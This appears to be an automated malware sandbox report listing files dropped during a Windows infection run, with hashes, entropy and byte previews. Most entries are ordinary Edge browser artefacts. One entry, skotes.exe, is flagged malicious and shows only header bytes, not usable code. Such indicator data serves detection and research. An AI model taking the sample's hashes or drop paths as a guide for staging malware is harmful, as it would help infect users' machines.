SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\9ef7c63a-ac0c-4d87-bea2-0f688dd19ed3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\a7c4adef-a0ee-4d01-a20b-f7556763c44f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsGCFIIEBKEG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1865728
Entropy (8bit):	7.950307461004618
Encrypted:	false
SSDEEP:	24576:RUaP/erYO5PCGQ43Jjf5O870zxxqjR2FSoEwJIkTQiJYmWi1nxTPC4d2qOlD87:RRHOtCGz3fhCgjR28/yIuOm11xfK
MD5:	2FF2F4CB39A9D0E4C3270991B067FC0D
SHA1:	15CAB9DF2382BBE89173B0D36D9AA79E719C627E
SHA-256:	44BAD3D7187BEB169787008D5E70FBBF36AF3C7571A00105FAF1CCACC4B7FE67
SHA-512:	4EA2ED13CF7953EDBDD09A0DE2A0B92B34C0B3EF8E211B9E7ECA56E4A41D57031B665E5866DBECF8F91FAED3CCBC5D5A677492E3199B73EAAFC3A52865C89A72
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@..........................@J.....s.....@.................................W...k.......D.....................I.............................P.I..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..).........................@...hpiiigzq.`....0..\..................@...rizbcyzd......J......R..............@....taggant.0....J.."...V..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abe62a6b-e738-4751-a60f-c140def96d43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1512111
Entropy (8bit):	7.991017455249576
Encrypted:	true
SSDEEP:	24576:QhyV3f+2WF2hQY3go5JVFy9+jRpdcbNoTMcD5VQvfImv8NIpG7HUtHSt0hOII2X/:iyYf2uYXfVFyORPINoTMcD5VifC2G7oV
MD5:	D90C6E25A030838A571BEEC62B2DEB9B
SHA1:	1460DDD3B5CF5C765F8A48DFFEEDB4F45E9F3C04
SHA-256:	FEF8DDD6323D56B138F8E967429F542A3E3B4A4631037CA69C17B9548346345E
SHA-512:	E6C9015D09946B5B423142A804432A274BC6A15873DA6DEA7162D3519AB63F10CC0A01E30281603615601B7FA33EE47B55C35F950CD59BC44A1B5FD292A6FB3B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.4227961633211486
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0dx5M5UxahL0dV:JIVuwEw5MUFZLBQLtd3hxM
MD5:	4FBE897278F5E1B4A95B0914B84EAF7D
SHA1:	F43AE28B1D84E6F8D306B7E7DA1C9967F14C77BE
SHA-256:	095D617F139CCAB7CAD59732CC18447C7D58DD94D7D915601EC474347B575F5A
SHA-512:	61F263C5807F4673A883B6771DB4DD231A87644934FB5ACFE45CAB5960A229BACE154786C47152CF7504862F9B04C09E31B913E47F6A3A79C4FF3A3B1D385643
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\ee6ef543-285d-41cc-990d-eb304e3206c7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\f0c95fc4-6935-4065-be01-be4ef7a49f46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\nsw73E9.tmp\nsExec.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	5.295306975422517
Encrypted:	false
SSDEEP:	96:JgzdzBzMDhOZZDbXf5GsWvSv1ckne94SDbYkvML1HT1fUNQaSGYuHIDQ:JDQHDb2vSuOc41ZfUNQZGdHA
MD5:	11092C1D3FBB449A60695C44F9F3D183
SHA1:	B89D614755F2E943DF4D510D87A7FC1A3BCF5A33
SHA-256:	2CD3A2D4053954DB1196E2526545C36DFC138C6DE9B81F6264632F3132843C77
SHA-512:	C182E0A1F0044B67B4B9FB66CEF9C4955629F6811D98BBFFA99225B03C43C33B1E85CACABB39F2C45EAD81CD85E98B201D5F9DA4EE0038423B1AD947270C134A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,.................Rich...........................PE..L....C.f...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..<.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\9ef7c63a-ac0c-4d87-bea2-0f688dd19ed3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8980_12913620\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
